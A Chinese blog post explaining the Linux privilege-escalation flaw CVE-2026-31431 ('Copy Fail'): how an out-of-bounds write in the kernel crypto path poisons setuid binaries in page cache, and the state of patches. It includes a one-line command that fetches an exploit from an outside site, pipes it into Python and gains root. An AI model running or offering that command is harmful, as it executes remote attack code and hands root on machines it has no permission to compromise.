一行代码即提权:CVE-2026-31431
本文仅供学习交流,请勿使用该漏洞攻击他人的服务器。
Most Linux LPEs need a race window or a kernel-specific offset.
Copy Fail is a straight-line logic flaw — it needs neither.
The same 732-byte Python script roots every Linux distribution shipped since 2017.
前言
在外面和朋友吃着火锅唱着歌呢,群里直接炸了。有人拍了个连接:https://copy.fail/。只要有Python3,一行代码就能提权到superuser。
在外面拿手机登上SSH测试了下,自己的VPS无一幸免。只要一行无任何特权级的命令:
1 | curl https://copy.fail/exp | python3 && su |
即可提权。
原理分析
让AI简单分析了下。
本质上,是非特权本地用户可以把“只读文件的页缓存页面”送进 Linux 内核加密接口,然后借 authencesn 算法的越界 scratch 写,把4 个可控字节写进该文件的 page cache。磁盘文件不变,但内核执行文件时读的是被污染的缓存,于是可以把 setuid-root 程序临时改成攻击者想要的逻辑并获得 root。Xint 的文章称这个 PoC 可用约 732 字节 Python 脚本在 Ubuntu、Amazon Linux、RHEL、SUSE 上完成本地提权。
这个漏洞出现在几个内核机制的交汇处:AF_ALG 允许用户态调用内核加密接口,splice() 可以把文件页缓存引用传给其他内核组件,而 authencesn 加密模板在处理数据时会在目标缓冲区边界外写入 4 个字节。单独看这些机制都不一定危险,但组合起来后,原本只读的文件页缓存被放进了可写路径,最终形成了“对任意可读文件缓存的 4 字节可控写”。
攻击者可以反复利用这个 4 字节写能力,污染类似 /usr/bin/su 这样的 setuid-root 程序在内存中的代码页。由于 setuid 程序执行时带有 root 权限,一旦它从被污染的 page cache 中加载代码,就可能让普通用户获得 root 权限。研究文章中提到,同一个短小的 Python PoC 在 Ubuntu、Amazon Linux、RHEL 和 SUSE 上均成功提权。
这个漏洞的危险之处在于它不是典型的竞态条件,不依赖反复抢时机,也不会修改磁盘文件,因此普通的磁盘完整性校验可能发现不了问题。更麻烦的是,page cache 是宿主机级别的共享资源,在容器环境中也可能带来跨容器甚至节点级风险。
说白了就是:降本增效失败了,算法的优化补丁出了问题。
修复
目前的修复补丁侧重点更偏向algif_aead而非 authencesn ,把 algif_aead 从 in-place 改回 out-of-place:输入 scatterlist 和输出 scatterlist 分开,page cache 页面只留在输入侧,输出只写用户的 recv buffer。
目前Debian12/13均发布了修补后的内核,但Ubuntu还没动静。
所以说Ubuntu的补丁什么时候端上来?



